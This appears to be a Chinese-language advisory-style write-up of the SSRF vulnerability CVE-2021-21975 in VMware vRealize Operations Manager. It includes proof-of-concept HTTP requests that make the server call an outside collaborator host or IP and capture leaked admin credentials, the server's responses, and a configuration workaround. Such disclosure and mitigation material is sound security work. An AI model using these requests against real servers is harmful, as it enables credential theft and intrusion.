[CVE-2021-21975] VMware vRealize Operations Manager API 服务器端请求伪造（SSRF）

vRealize Operations (vROps) 是一款由 AI 驱动的自助式 IT 运维管理工具，覆盖从应用到基础设施的范围，用于优化、规划并扩展 VMware Cloud 和 HCI 部署，同时统一公共云监控。VMware vRealize Operations Manager API 8.4 及所有早期版本 存在服务器端请求伪造（SSRF）漏洞。成功利用此漏洞可能导致读取或更新内部资源，并且在此情况下，攻击者可以轻松窃取 vROps 服务器的管理凭据。结合 CVE-2021-21975 和 CVE-2021-21983，攻击者可以在远程 vRealize Operations 服务器上执行任意代码。

概念验证（PoC）： 要利用此漏洞，可以使用以下请求：

POST /casa/nodes/thumbprints HTTP/1.1
Host: vulnerablehost
Content-Type: application/json;charset=UTF-8
Content-Length: 70
Connection: close

[
  "h4mv9d2pleyg06fqvl2o4zif46azyo.burpcollaborator.net/CVE-2021-21975"
]

上述请求的响应如下：

HTTP/1.1 200 200
Date: Fri, 02 Apr 2021 20:59:02 GMT
Server: Apache
X-VSCM-Request-Id: oH006VQB
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src https: wss: data: 'unsafe-inline' 'unsafe-eval'; child-src *; worker-src 'self' blob:
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 151

[
  {
    "address": "h4mv9d2pleyg06fqvl2o4zif46azyo.burpcollaborator.net/CVE-2021-21975",
    "thumbprint": "<html><body>6xal4bz5uui7c8nzvu368ezjlgz</body></html>"
  }
]

此外，管理凭据会在 Authorization 标头中泄露。

其他概念验证（PoC）： 或者，你可以使用以下请求来检测 CVE-2021-21975 VMware vRealize Operations Manager API 服务器端请求伪造（SSRF）漏洞：

POST /casa/nodes/thumbprints HTTP/1.1
Host: vulnerablehost
Content-Type: application/json;charset=UTF-8
Content-Length: 37
Connection: close

[
  "78.171.203.41:8000/CVE-2021-21975"
]

HTTP/1.1 200 200
Date: Fri, 02 Apr 2021 21:00:03 GMT
Server: Apache
X-VSCM-Request-Id: oH006VQE
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src https: wss: data: 'unsafe-inline' 'unsafe-eval'; child-src *; worker-src 'self' blob:
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 67

[
  {
    "address":"78.171.203.41:8000/CVE-2021-21975",
    "thumbprint":null
  }
]

POST /casa/nodes/thumbprints HTTP/1.1
Host: vulnerablehost
Content-Type: application/json;charset=UTF-8
Content-Length: 37
Connection: close

[
  "78.171.203.41:8000"
]

HTTP/1.1 200 200
Date: Fri, 02 Apr 2021 21:00:39 GMT
Server: Apache
X-VSCM-Request-Id: oH006VQJ
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src https: wss: data: 'unsafe-inline' 'unsafe-eval'; child-src *; worker-src 'self' blob:
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 52

[
  {
    "address":"78.171.203.41:8000",
    "thumbprint":null
  }
]

临时解决方案： 如果无法安装补丁，或者你的 vRealize Operations 版本没有对应补丁，可以采取以下步骤进行临时解决。应用此临时解决方案不会对 vRealize Operations 造成影响。

要在 vRealize Operations 中临时解决此问题，请从 casa-security-context.xml 中删除一行配置：

通过 SSH 或控制台以 root 身份登录主节点（在控制台中按 ALT+F1 进行登录）
打开 /usr/lib/vmware-casa/casa-webapp/webapps/casa/WEB-INF/classes/spring/casa-security-context.xml
找到并删除以下行：<sec:http pattern="/nodes/thumbprints" security='none'/>
保存并关闭文件
使用以下命令重启 CaSA 服务：service vmware-casa restart
在 vRealize Operations 集群中的所有其他节点上重复步骤 1-5。

CVE-2021-21975

最受欢迎